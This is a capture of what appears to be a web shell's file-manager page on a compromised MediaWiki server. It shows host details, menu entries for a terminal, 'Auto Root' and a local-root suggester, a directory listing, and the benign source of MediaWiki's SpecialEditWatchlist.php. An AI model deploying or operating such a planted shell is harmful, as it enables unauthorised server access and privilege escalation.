Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.217.150
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
wiki.bernardino.org /
includes /
specials /
Delete
Unzip
Name
Size
Permission
Date
Action
helpers
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
pagers
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
SpecialActiveusers.php
3.48
KB
-rw-r--r--
2016-11-28 20:20
SpecialAllMessages.php
1.96
KB
-rw-r--r--
2016-11-28 20:20
SpecialAllPages.php
10.42
KB
-rw-r--r--
2016-11-28 20:20
SpecialAllmessages.php
12.08
KB
-rw-r--r--
2012-01-04 14:32
SpecialAllpages.php
14.84
KB
-rw-r--r--
2011-06-17 18:05
SpecialAncientpages.php
2.12
KB
-rw-r--r--
2016-11-28 20:20
SpecialApiHelp.php
2.62
KB
-rw-r--r--
2016-11-28 20:20
SpecialApiSandbox.php
1.64
KB
-rw-r--r--
2016-11-28 20:20
SpecialBlankpage.php
1.2
KB
-rw-r--r--
2016-11-28 20:20
SpecialBlock.php
30.28
KB
-rw-r--r--
2016-11-28 20:20
SpecialBlockList.php
6.01
KB
-rw-r--r--
2016-11-28 20:20
SpecialBlockme.php
1.67
KB
-rw-r--r--
2011-03-21 20:12
SpecialBooksources.php
5.45
KB
-rw-r--r--
2016-11-28 20:20
SpecialBotPasswords.php
9.29
KB
-rw-r--r--
2016-11-28 20:20
SpecialBrokenRedirects.php
4.38
KB
-rw-r--r--
2016-11-28 20:20
SpecialCachedPage.php
5.51
KB
-rw-r--r--
2016-11-28 20:20
SpecialCategories.php
1.89
KB
-rw-r--r--
2016-11-28 20:20
SpecialChangeContentModel.php
7.91
KB
-rw-r--r--
2016-11-28 20:20
SpecialChangeCredentials.php
6.71
KB
-rw-r--r--
2016-11-28 20:20
SpecialChangeEmail.php
4.78
KB
-rw-r--r--
2016-11-28 20:20
SpecialChangePassword.php
1.18
KB
-rw-r--r--
2016-11-28 20:20
SpecialComparePages.php
4.42
KB
-rw-r--r--
2016-11-28 20:20
SpecialConfirmemail.php
5.16
KB
-rw-r--r--
2016-11-28 20:20
SpecialContributions.php
19.52
KB
-rw-r--r--
2016-11-28 20:20
SpecialCreateAccount.php
5.03
KB
-rw-r--r--
2016-11-28 20:20
SpecialDeadendpages.php
2.11
KB
-rw-r--r--
2016-11-28 20:20
SpecialDeletedContributions.php
7.9
KB
-rw-r--r--
2016-11-28 20:20
SpecialDiff.php
2.29
KB
-rw-r--r--
2016-11-28 20:20
SpecialDisambiguations.php
4.18
KB
-rw-r--r--
2011-07-06 04:26
SpecialDoubleRedirects.php
5.58
KB
-rw-r--r--
2016-11-28 20:20
SpecialEditTags.php
13.97
KB
-rw-r--r--
2016-11-28 20:20
SpecialEditWatchlist.php
21.93
KB
-rw-r--r--
2016-11-28 20:20
SpecialEmailInvalidate.php
2.18
KB
-rw-r--r--
2016-11-28 20:20
SpecialEmailuser.php
12.69
KB
-rw-r--r--
2016-11-28 20:20
SpecialExpandTemplates.php
8.64
KB
-rw-r--r--
2016-11-28 20:20
SpecialExport.php
15.54
KB
-rw-r--r--
2016-11-28 20:20
SpecialFewestrevisions.php
2.9
KB
-rw-r--r--
2016-11-28 20:20
SpecialFileDuplicateSearch.php
7.26
KB
-rw-r--r--
2016-11-28 20:20
SpecialFilepath.php
1.52
KB
-rw-r--r--
2016-11-28 20:20
SpecialImport.php
19.38
KB
-rw-r--r--
2016-11-28 20:20
SpecialJavaScriptTest.php
6.62
KB
-rw-r--r--
2016-11-28 20:20
SpecialLinkAccounts.php
3.14
KB
-rw-r--r--
2016-11-28 20:20
SpecialLinkSearch.php
7.42
KB
-rw-r--r--
2016-11-28 20:20
SpecialListDuplicatedFiles.php
2.93
KB
-rw-r--r--
2016-11-28 20:20
SpecialListfiles.php
2.44
KB
-rw-r--r--
2016-11-28 20:20
SpecialListgrants.php
2.54
KB
-rw-r--r--
2016-11-28 20:20
SpecialListgrouprights.php
9.52
KB
-rw-r--r--
2016-11-28 20:20
SpecialListredirects.php
3.61
KB
-rw-r--r--
2016-11-28 20:20
SpecialListusers.php
2.54
KB
-rw-r--r--
2016-11-28 20:20
SpecialLockdb.php
3.28
KB
-rw-r--r--
2016-11-28 20:20
SpecialLog.php
8.29
KB
-rw-r--r--
2016-11-28 20:20
SpecialLonelypages.php
2.44
KB
-rw-r--r--
2016-11-28 20:20
SpecialLongpages.php
1.09
KB
-rw-r--r--
2016-11-28 20:20
SpecialMIMEsearch.php
5.29
KB
-rw-r--r--
2016-11-28 20:20
SpecialMediaStatistics.php
10.37
KB
-rw-r--r--
2016-11-28 20:20
SpecialMergeHistory.php
10.68
KB
-rw-r--r--
2016-11-28 20:20
SpecialMostcategories.php
2.93
KB
-rw-r--r--
2016-11-28 20:20
SpecialMostimages.php
1.66
KB
-rw-r--r--
2016-11-28 20:20
SpecialMostinterwikis.php
2.95
KB
-rw-r--r--
2016-11-28 20:20
SpecialMostlinked.php
3.31
KB
-rw-r--r--
2016-11-28 20:20
SpecialMostlinkedcategories.php
2.61
KB
-rw-r--r--
2016-11-28 20:20
SpecialMostlinkedtemplates.php
3.2
KB
-rw-r--r--
2016-11-28 20:20
SpecialMostrevisions.php
1.18
KB
-rw-r--r--
2016-11-28 20:20
SpecialMovepage.php
24.66
KB
-rw-r--r--
2016-11-28 20:20
SpecialMyLanguage.php
3.12
KB
-rw-r--r--
2016-11-28 20:20
SpecialMyRedirectPages.php
4.51
KB
-rw-r--r--
2016-11-28 20:20
SpecialNewimages.php
3.4
KB
-rw-r--r--
2016-11-28 20:20
SpecialNewpages.php
12.96
KB
-rwxr-xr-x
2016-11-28 20:20
SpecialPageLanguage.php
5.58
KB
-rw-r--r--
2016-11-28 20:20
SpecialPagesWithProp.php
5.1
KB
-rw-r--r--
2016-11-28 20:20
SpecialPasswordReset.php
6.08
KB
-rw-r--r--
2016-11-28 20:20
SpecialPermanentLink.php
1.47
KB
-rw-r--r--
2016-11-28 20:20
SpecialPopularpages.php
1.91
KB
-rw-r--r--
2011-05-26 21:21
SpecialPreferences.php
4.46
KB
-rw-r--r--
2016-11-28 20:20
SpecialPrefixindex.php
9.27
KB
-rw-r--r--
2016-11-28 20:20
SpecialProtectedpages.php
15.95
KB
-rw-r--r--
2016-11-28 20:20
SpecialProtectedtitles.php
5.5
KB
-rw-r--r--
2016-11-28 20:20
SpecialRandomInCategory.php
8.54
KB
-rw-r--r--
2016-11-28 20:20
SpecialRandompage.php
4.71
KB
-rw-r--r--
2016-11-28 20:20
SpecialRandomredirect.php
1.15
KB
-rw-r--r--
2016-11-28 20:20
SpecialRandomrootpage.php
1.21
KB
-rw-r--r--
2016-11-28 20:20
SpecialRecentchanges.php
22.18
KB
-rw-r--r--
2016-11-28 20:20
SpecialRecentchangeslinked.php
7.9
KB
-rw-r--r--
2016-11-28 20:20
SpecialRedirect.php
9.16
KB
-rw-r--r--
2016-11-28 20:20
SpecialRemoveCredentials.php
642
B
-rw-r--r--
2016-11-28 20:20
SpecialResetTokens.php
3.83
KB
-rw-r--r--
2016-11-28 20:20
SpecialRevisiondelete.php
20.86
KB
-rw-r--r--
2016-11-28 20:20
SpecialRunJobs.php
3.96
KB
-rw-r--r--
2016-11-28 20:20
SpecialSearch.php
38.45
KB
-rw-r--r--
2016-11-28 20:20
SpecialShortpages.php
3.44
KB
-rw-r--r--
2016-11-28 20:20
SpecialSpecialpages.php
3.6
KB
-rw-r--r--
2016-11-28 20:20
SpecialStatistics.php
9.18
KB
-rw-r--r--
2016-11-28 20:20
SpecialTags.php
15.24
KB
-rw-r--r--
2016-11-28 20:20
SpecialTrackingCategories.php
6.31
KB
-rw-r--r--
2016-11-28 20:20
SpecialUnblock.php
8.37
KB
-rw-r--r--
2016-11-28 20:20
SpecialUncategorizedcategories.php
1.47
KB
-rw-r--r--
2016-11-28 20:20
SpecialUncategorizedimages.php
1.75
KB
-rw-r--r--
2016-11-28 20:20
SpecialUncategorizedpages.php
2.3
KB
-rw-r--r--
2016-11-28 20:20
SpecialUncategorizedtemplates.php
1.19
KB
-rw-r--r--
2016-11-28 20:20
SpecialUndelete.php
51.13
KB
-rw-r--r--
2016-11-28 20:20
SpecialUnlinkAccounts.php
2.17
KB
-rw-r--r--
2016-11-28 20:20
SpecialUnlockdb.php
2.44
KB
-rw-r--r--
2016-11-28 20:20
SpecialUnusedcategories.php
1.97
KB
-rw-r--r--
2016-11-28 20:20
SpecialUnusedimages.php
2.23
KB
-rw-r--r--
2016-11-28 20:20
SpecialUnusedtemplates.php
2.42
KB
-rw-r--r--
2016-11-28 20:20
SpecialUnwatchedpages.php
2.85
KB
-rw-r--r--
2016-11-28 20:20
SpecialUpload.php
39.96
KB
-rw-r--r--
2016-11-28 20:20
SpecialUploadStash.php
14.56
KB
-rw-r--r--
2016-11-28 20:20
SpecialUserLogin.php
4.83
KB
-rw-r--r--
2016-11-28 20:20
SpecialUserLogout.php
2.45
KB
-rw-r--r--
2016-11-28 20:20
SpecialUserlogin.php
37.77
KB
-rw-r--r--
2012-03-21 11:43
SpecialUserlogout.php
1.85
KB
-rw-r--r--
2010-08-15 09:16
SpecialUserrights.php
23.31
KB
-rw-r--r--
2016-11-28 20:20
SpecialVersion.php
33.55
KB
-rw-r--r--
2016-11-28 20:20
SpecialWantedcategories.php
3.63
KB
-rw-r--r--
2016-11-28 20:20
SpecialWantedfiles.php
3.94
KB
-rw-r--r--
2016-11-28 20:20
SpecialWantedpages.php
2.36
KB
-rw-r--r--
2016-11-28 20:20
SpecialWantedtemplates.php
1.8
KB
-rw-r--r--
2016-11-28 20:20
SpecialWatchlist.php
18.42
KB
-rw-r--r--
2016-11-28 20:20
SpecialWhatlinkshere.php
15.79
KB
-rw-r--r--
2016-11-28 20:20
SpecialWithoutinterwiki.php
2.7
KB
-rw-r--r--
2016-11-28 20:20
Save
Rename
<?php /** * @defgroup Watchlist Users watchlist handling */ /** * Implements Special:EditWatchlist * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * http://www.gnu.org/copyleft/gpl.html * * @file * @ingroup SpecialPage * @ingroup Watchlist */ use MediaWiki\Linker\LinkRenderer; use MediaWiki\Linker\LinkTarget; use MediaWiki\MediaWikiServices; /** * Provides the UI through which users can perform editing * operations on their watchlist * * @ingroup SpecialPage * @ingroup Watchlist * @author Rob Church <robchur@gmail.com> */ class SpecialEditWatchlist extends UnlistedSpecialPage { /** * Editing modes. EDIT_CLEAR is no longer used; the "Clear" link scared people * too much. Now it's passed on to the raw editor, from which it's very easy to clear. */ const EDIT_CLEAR = 1; const EDIT_RAW = 2; const EDIT_NORMAL = 3; protected $successMessage; protected $toc; private $badItems = []; /** * @var TitleParser */ private $titleParser; public function __construct() { parent::__construct( 'EditWatchlist', 'editmywatchlist' ); } /** * Initialize any services we'll need (unless it has already been provided via a setter). * This allows for dependency injection even though we don't control object creation. */ private function initServices() { if ( !$this->titleParser ) { $this->titleParser = MediaWikiServices::getInstance()->getTitleParser(); } } public function doesWrites() { return true; } /** * Main execution point * * @param int $mode */ public function execute( $mode ) { $this->initServices(); $this->setHeaders(); # Anons don't get a watchlist $this->requireLogin( 'watchlistanontext' ); $out = $this->getOutput(); $this->checkPermissions(); $this->checkReadOnly(); $this->outputHeader(); $this->outputSubtitle(); $out->addModuleStyles( 'mediawiki.special' ); # B/C: $mode used to be waaay down the parameter list, and the first parameter # was $wgUser if ( $mode instanceof User ) { $args = func_get_args(); if ( count( $args ) >= 4 ) { $mode = $args[3]; } } $mode = self::getMode( $this->getRequest(), $mode ); switch ( $mode ) { case self::EDIT_RAW: $out->setPageTitle( $this->msg( 'watchlistedit-raw-title' ) ); $form = $this->getRawForm(); if ( $form->show() ) { $out->addHTML( $this->successMessage ); $out->addReturnTo( SpecialPage::getTitleFor( 'Watchlist' ) ); } break; case self::EDIT_CLEAR: $out->setPageTitle( $this->msg( 'watchlistedit-clear-title' ) ); $form = $this->getClearForm(); if ( $form->show() ) { $out->addHTML( $this->successMessage ); $out->addReturnTo( SpecialPage::getTitleFor( 'Watchlist' ) ); } break; case self::EDIT_NORMAL: default: $this->executeViewEditWatchlist(); break; } } /** * Renders a subheader on the watchlist page. */ protected function outputSubtitle() { $out = $this->getOutput(); $out->addSubtitle( $this->msg( 'watchlistfor2', $this->getUser()->getName() ) ->rawParams( self::buildTools( $this->getLanguage(), $this->getLinkRenderer() ) ) ); } /** * Executes an edit mode for the watchlist view, from which you can manage your watchlist * */ protected function executeViewEditWatchlist() { $out = $this->getOutput(); $out->setPageTitle( $this->msg( 'watchlistedit-normal-title' ) ); $form = $this->getNormalForm(); if ( $form->show() ) { $out->addHTML( $this->successMessage ); $out->addReturnTo( SpecialPage::getTitleFor( 'Watchlist' ) ); } elseif ( $this->toc !== false ) { $out->prependHTML( $this->toc ); $out->addModules( 'mediawiki.toc' ); } } /** * Return an array of subpages that this special page will accept. * * @see also SpecialWatchlist::getSubpagesForPrefixSearch * @return string[] subpages */ public function getSubpagesForPrefixSearch() { // SpecialWatchlist uses SpecialEditWatchlist::getMode, so new types should be added // here and there - no 'edit' here, because that the default for this page return [ 'clear', 'raw', ]; } /** * Extract a list of titles from a blob of text, returning * (prefixed) strings; unwatchable titles are ignored * * @param string $list * @return array */ private function extractTitles( $list ) { $list = explode( "\n", trim( $list ) ); if ( !is_array( $list ) ) { return []; } $titles = []; foreach ( $list as $text ) { $text = trim( $text ); if ( strlen( $text ) > 0 ) { $title = Title::newFromText( $text ); if ( $title instanceof Title && $title->isWatchable() ) { $titles[] = $title; } } } MediaWikiServices::getInstance()->getGenderCache()->doTitlesArray( $titles ); $list = []; /** @var Title $title */ foreach ( $titles as $title ) { $list[] = $title->getPrefixedText(); } return array_unique( $list ); } public function submitRaw( $data ) { $wanted = $this->extractTitles( $data['Titles'] ); $current = $this->getWatchlist(); if ( count( $wanted ) > 0 ) { $toWatch = array_diff( $wanted, $current ); $toUnwatch = array_diff( $current, $wanted ); $this->watchTitles( $toWatch ); $this->unwatchTitles( $toUnwatch ); $this->getUser()->invalidateCache(); if ( count( $toWatch ) > 0 || count( $toUnwatch ) > 0 ) { $this->successMessage = $this->msg( 'watchlistedit-raw-done' )->parse(); } else { return false; } if ( count( $toWatch ) > 0 ) { $this->successMessage .= ' ' . $this->msg( 'watchlistedit-raw-added' ) ->numParams( count( $toWatch ) )->parse(); $this->showTitles( $toWatch, $this->successMessage ); } if ( count( $toUnwatch ) > 0 ) { $this->successMessage .= ' ' . $this->msg( 'watchlistedit-raw-removed' ) ->numParams( count( $toUnwatch ) )->parse(); $this->showTitles( $toUnwatch, $this->successMessage ); } } else { $this->clearWatchlist(); $this->getUser()->invalidateCache(); if ( count( $current ) > 0 ) { $this->successMessage = $this->msg( 'watchlistedit-raw-done' )->parse(); } else { return false; } $this->successMessage .= ' ' . $this->msg( 'watchlistedit-raw-removed' ) ->numParams( count( $current ) )->parse(); $this->showTitles( $current, $this->successMessage ); } return true; } public function submitClear( $data ) { $current = $this->getWatchlist(); $this->clearWatchlist(); $this->getUser()->invalidateCache(); $this->successMessage = $this->msg( 'watchlistedit-clear-done' )->parse(); $this->successMessage .= ' ' . $this->msg( 'watchlistedit-clear-removed' ) ->numParams( count( $current ) )->parse(); $this->showTitles( $current, $this->successMessage ); return true; } /** * Print out a list of linked titles * * $titles can be an array of strings or Title objects; the former * is preferred, since Titles are very memory-heavy * * @param array $titles Array of strings, or Title objects * @param string $output */ private function showTitles( $titles, &$output ) { $talk = $this->msg( 'talkpagelinktext' )->text(); // Do a batch existence check $batch = new LinkBatch(); if ( count( $titles ) >= 100 ) { $output = $this->msg( 'watchlistedit-too-many' )->parse(); return; } foreach ( $titles as $title ) { if ( !$title instanceof Title ) { $title = Title::newFromText( $title ); } if ( $title instanceof Title ) { $batch->addObj( $title ); $batch->addObj( $title->getTalkPage() ); } } $batch->execute(); // Print out the list $output .= "<ul>\n"; $linkRenderer = $this->getLinkRenderer(); foreach ( $titles as $title ) { if ( !$title instanceof Title ) { $title = Title::newFromText( $title ); } if ( $title instanceof Title ) { $output .= '<li>' . $linkRenderer->makeLink( $title ) . ' ' . $this->msg( 'parentheses' )->rawParams( $linkRenderer->makeLink( $title->getTalkPage(), $talk ) )->escaped() . "</li>\n"; } } $output .= "</ul>\n"; } /** * Prepare a list of titles on a user's watchlist (excluding talk pages) * and return an array of (prefixed) strings * * @return array */ private function getWatchlist() { $list = []; $watchedItems = MediaWikiServices::getInstance()->getWatchedItemStore()->getWatchedItemsForUser( $this->getUser(), [ 'forWrite' => $this->getRequest()->wasPosted() ] ); if ( $watchedItems ) { /** @var Title[] $titles */ $titles = []; foreach ( $watchedItems as $watchedItem ) { $namespace = $watchedItem->getLinkTarget()->getNamespace(); $dbKey = $watchedItem->getLinkTarget()->getDBkey(); $title = Title::makeTitleSafe( $namespace, $dbKey ); if ( $this->checkTitle( $title, $namespace, $dbKey ) && !$title->isTalkPage() ) { $titles[] = $title; } } MediaWikiServices::getInstance()->getGenderCache()->doTitlesArray( $titles ); foreach ( $titles as $title ) { $list[] = $title->getPrefixedText(); } } $this->cleanupWatchlist(); return $list; } /** * Get a list of titles on a user's watchlist, excluding talk pages, * and return as a two-dimensional array with namespace and title. * * @return array */ protected function getWatchlistInfo() { $titles = []; $watchedItems = MediaWikiServices::getInstance()->getWatchedItemStore() ->getWatchedItemsForUser( $this->getUser(), [ 'sort' => WatchedItemStore::SORT_ASC ] ); $lb = new LinkBatch(); foreach ( $watchedItems as $watchedItem ) { $namespace = $watchedItem->getLinkTarget()->getNamespace(); $dbKey = $watchedItem->getLinkTarget()->getDBkey(); $lb->add( $namespace, $dbKey ); if ( !MWNamespace::isTalk( $namespace ) ) { $titles[$namespace][$dbKey] = 1; } } $lb->execute(); return $titles; } /** * Validates watchlist entry * * @param Title $title * @param int $namespace * @param string $dbKey * @return bool Whether this item is valid */ private function checkTitle( $title, $namespace, $dbKey ) { if ( $title && ( $title->isExternal() || $title->getNamespace() < 0 ) ) { $title = false; // unrecoverable } if ( !$title || $title->getNamespace() != $namespace || $title->getDBkey() != $dbKey ) { $this->badItems[] = [ $title, $namespace, $dbKey ]; } return (bool)$title; } /** * Attempts to clean up broken items */ private function cleanupWatchlist() { if ( !count( $this->badItems ) ) { return; // nothing to do } $user = $this->getUser(); $badItems = $this->badItems; DeferredUpdates::addCallableUpdate( function () use ( $user, $badItems ) { $store = MediaWikiServices::getInstance()->getWatchedItemStore(); foreach ( $badItems as $row ) { list( $title, $namespace, $dbKey ) = $row; $action = $title ? 'cleaning up' : 'deleting'; wfDebug( "User {$user->getName()} has broken watchlist item " . "ns($namespace):$dbKey, $action.\n" ); $store->removeWatch( $user, new TitleValue( (int)$namespace, $dbKey ) ); // Can't just do an UPDATE instead of DELETE/INSERT due to unique index if ( $title ) { $user->addWatch( $title ); } } } ); } /** * Remove all titles from a user's watchlist */ private function clearWatchlist() { $dbw = wfGetDB( DB_MASTER ); $dbw->delete( 'watchlist', [ 'wl_user' => $this->getUser()->getId() ], __METHOD__ ); } /** * Add a list of targets to a user's watchlist * * @param string[]|LinkTarget[] $targets */ private function watchTitles( $targets ) { $expandedTargets = []; foreach ( $targets as $target ) { if ( !$target instanceof LinkTarget ) { try { $target = $this->titleParser->parseTitle( $target, NS_MAIN ); } catch ( MalformedTitleException $e ) { continue; } } $ns = $target->getNamespace(); $dbKey = $target->getDBkey(); $expandedTargets[] = new TitleValue( MWNamespace::getSubject( $ns ), $dbKey ); $expandedTargets[] = new TitleValue( MWNamespace::getTalk( $ns ), $dbKey ); } MediaWikiServices::getInstance()->getWatchedItemStore()->addWatchBatchForUser( $this->getUser(), $expandedTargets ); } /** * Remove a list of titles from a user's watchlist * * $titles can be an array of strings or Title objects; the former * is preferred, since Titles are very memory-heavy * * @param array $titles Array of strings, or Title objects */ private function unwatchTitles( $titles ) { $store = MediaWikiServices::getInstance()->getWatchedItemStore(); foreach ( $titles as $title ) { if ( !$title instanceof Title ) { $title = Title::newFromText( $title ); } if ( $title instanceof Title ) { $store->removeWatch( $this->getUser(), $title->getSubjectPage() ); $store->removeWatch( $this->getUser(), $title->getTalkPage() ); $page = WikiPage::factory( $title ); Hooks::run( 'UnwatchArticleComplete', [ $this->getUser(), &$page ] ); } } } public function submitNormal( $data ) { $removed = []; foreach ( $data as $titles ) { $this->unwatchTitles( $titles ); $removed = array_merge( $removed, $titles ); } if ( count( $removed ) > 0 ) { $this->successMessage = $this->msg( 'watchlistedit-normal-done' )->numParams( count( $removed ) )->parse(); $this->showTitles( $removed, $this->successMessage ); return true; } else { return false; } } /** * Get the standard watchlist editing form * * @return HTMLForm */ protected function getNormalForm() { global $wgContLang; $fields = []; $count = 0; // Allow subscribers to manipulate the list of watched pages (or use it // to preload lots of details at once) $watchlistInfo = $this->getWatchlistInfo(); Hooks::run( 'WatchlistEditorBeforeFormRender', [ &$watchlistInfo ] ); foreach ( $watchlistInfo as $namespace => $pages ) { $options = []; foreach ( array_keys( $pages ) as $dbkey ) { $title = Title::makeTitleSafe( $namespace, $dbkey ); if ( $this->checkTitle( $title, $namespace, $dbkey ) ) { $text = $this->buildRemoveLine( $title ); $options[$text] = $title->getPrefixedText(); $count++; } } // checkTitle can filter some options out, avoid empty sections if ( count( $options ) > 0 ) { $fields['TitlesNs' . $namespace] = [ 'class' => 'EditWatchlistCheckboxSeriesField', 'options' => $options, 'section' => "ns$namespace", ]; } } $this->cleanupWatchlist(); if ( count( $fields ) > 1 && $count > 30 ) { $this->toc = Linker::tocIndent(); $tocLength = 0; foreach ( $fields as $data ) { # strip out the 'ns' prefix from the section name: $ns = substr( $data['section'], 2 ); $nsText = ( $ns == NS_MAIN ) ? $this->msg( 'blanknamespace' )->escaped() : htmlspecialchars( $wgContLang->getFormattedNsText( $ns ) ); $this->toc .= Linker::tocLine( "editwatchlist-{$data['section']}", $nsText, $this->getLanguage()->formatNum( ++$tocLength ), 1 ) . Linker::tocLineEnd(); } $this->toc = Linker::tocList( $this->toc ); } else { $this->toc = false; } $context = new DerivativeContext( $this->getContext() ); $context->setTitle( $this->getPageTitle() ); // Remove subpage $form = new EditWatchlistNormalHTMLForm( $fields, $context ); $form->setSubmitTextMsg( 'watchlistedit-normal-submit' ); $form->setSubmitDestructive(); # Used message keys: # 'accesskey-watchlistedit-normal-submit', 'tooltip-watchlistedit-normal-submit' $form->setSubmitTooltip( 'watchlistedit-normal-submit' ); $form->setWrapperLegendMsg( 'watchlistedit-normal-legend' ); $form->addHeaderText( $this->msg( 'watchlistedit-normal-explain' )->parse() ); $form->setSubmitCallback( [ $this, 'submitNormal' ] ); return $form; } /** * Build the label for a checkbox, with a link to the title, and various additional bits * * @param Title $title * @return string */ private function buildRemoveLine( $title ) { $linkRenderer = $this->getLinkRenderer(); $link = $linkRenderer->makeLink( $title ); $tools['talk'] = $linkRenderer->makeLink( $title->getTalkPage(), $this->msg( 'talkpagelinktext' )->text() ); if ( $title->exists() ) { $tools['history'] = $linkRenderer->makeKnownLink( $title, $this->msg( 'history_short' )->text(), [], [ 'action' => 'history' ] ); } if ( $title->getNamespace() == NS_USER && !$title->isSubpage() ) { $tools['contributions'] = $linkRenderer->makeKnownLink( SpecialPage::getTitleFor( 'Contributions', $title->getText() ), $this->msg( 'contributions' )->text() ); } Hooks::run( 'WatchlistEditorBuildRemoveLine', [ &$tools, $title, $title->isRedirect(), $this->getSkin(), &$link ] ); if ( $title->isRedirect() ) { // Linker already makes class mw-redirect, so this is redundant $link = '<span class="watchlistredir">' . $link . '</span>'; } return $link . ' ' . $this->msg( 'parentheses' )->rawParams( $this->getLanguage()->pipeList( $tools ) )->escaped(); } /** * Get a form for editing the watchlist in "raw" mode * * @return HTMLForm */ protected function getRawForm() { $titles = implode( $this->getWatchlist(), "\n" ); $fields = [ 'Titles' => [ 'type' => 'textarea', 'label-message' => 'watchlistedit-raw-titles', 'default' => $titles, ], ]; $context = new DerivativeContext( $this->getContext() ); $context->setTitle( $this->getPageTitle( 'raw' ) ); // Reset subpage $form = new HTMLForm( $fields, $context ); $form->setSubmitTextMsg( 'watchlistedit-raw-submit' ); # Used message keys: 'accesskey-watchlistedit-raw-submit', 'tooltip-watchlistedit-raw-submit' $form->setSubmitTooltip( 'watchlistedit-raw-submit' ); $form->setWrapperLegendMsg( 'watchlistedit-raw-legend' ); $form->addHeaderText( $this->msg( 'watchlistedit-raw-explain' )->parse() ); $form->setSubmitCallback( [ $this, 'submitRaw' ] ); return $form; } /** * Get a form for clearing the watchlist * * @return HTMLForm */ protected function getClearForm() { $context = new DerivativeContext( $this->getContext() ); $context->setTitle( $this->getPageTitle( 'clear' ) ); // Reset subpage $form = new HTMLForm( [], $context ); $form->setSubmitTextMsg( 'watchlistedit-clear-submit' ); # Used message keys: 'accesskey-watchlistedit-clear-submit', 'tooltip-watchlistedit-clear-submit' $form->setSubmitTooltip( 'watchlistedit-clear-submit' ); $form->setWrapperLegendMsg( 'watchlistedit-clear-legend' ); $form->addHeaderText( $this->msg( 'watchlistedit-clear-explain' )->parse() ); $form->setSubmitCallback( [ $this, 'submitClear' ] ); $form->setSubmitDestructive(); return $form; } /** * Determine whether we are editing the watchlist, and if so, what * kind of editing operation * * @param WebRequest $request * @param string $par * @return int */ public static function getMode( $request, $par ) { $mode = strtolower( $request->getVal( 'action', $par ) ); switch ( $mode ) { case 'clear': case self::EDIT_CLEAR: return self::EDIT_CLEAR; case 'raw': case self::EDIT_RAW: return self::EDIT_RAW; case 'edit': case self::EDIT_NORMAL: return self::EDIT_NORMAL; default: return false; } } /** * Build a set of links for convenient navigation * between watchlist viewing and editing modes * * @param Language $lang * @param LinkRenderer|null $linkRenderer * @return string */ public static function buildTools( $lang, LinkRenderer $linkRenderer = null ) { if ( !$lang instanceof Language ) { // back-compat where the first parameter was $unused global $wgLang; $lang = $wgLang; } if ( !$linkRenderer ) { $linkRenderer = MediaWikiServices::getInstance()->getLinkRenderer(); } $tools = []; $modes = [ 'view' => [ 'Watchlist', false ], 'edit' => [ 'EditWatchlist', false ], 'raw' => [ 'EditWatchlist', 'raw' ], 'clear' => [ 'EditWatchlist', 'clear' ], ]; foreach ( $modes as $mode => $arr ) { // can use messages 'watchlisttools-view', 'watchlisttools-edit', 'watchlisttools-raw' $tools[] = $linkRenderer->makeKnownLink( SpecialPage::getTitleFor( $arr[0], $arr[1] ), wfMessage( "watchlisttools-{$mode}" )->text() ); } return Html::rawElement( 'span', [ 'class' => 'mw-watchlist-toollinks' ], wfMessage( 'parentheses' )->rawParams( $lang->pipeList( $tools ) )->escaped() ); } } /** * Extend HTMLForm purely so we can have a more sane way of getting the section headers */ class EditWatchlistNormalHTMLForm extends HTMLForm { public function getLegend( $namespace ) { $namespace = substr( $namespace, 2 ); return $namespace == NS_MAIN ? $this->msg( 'blanknamespace' )->escaped() : htmlspecialchars( $this->getContext()->getLanguage()->getFormattedNsText( $namespace ) ); } public function getBody() { return $this->displaySection( $this->mFieldTree, '', 'editwatchlist-' ); } } class EditWatchlistCheckboxSeriesField extends HTMLMultiSelectField { /** * HTMLMultiSelectField throws validation errors if we get input data * that doesn't match the data set in the form setup. This causes * problems if something gets removed from the watchlist while the * form is open (bug 32126), but we know that invalid items will * be harmless so we can override it here. * * @param string $value The value the field was submitted with * @param array $alldata The data collected from the form * @return bool|string Bool true on success, or String error to display. */ function validate( $value, $alldata ) { // Need to call into grandparent to be a good citizen. :) return HTMLFormField::validate( $value, $alldata ); } }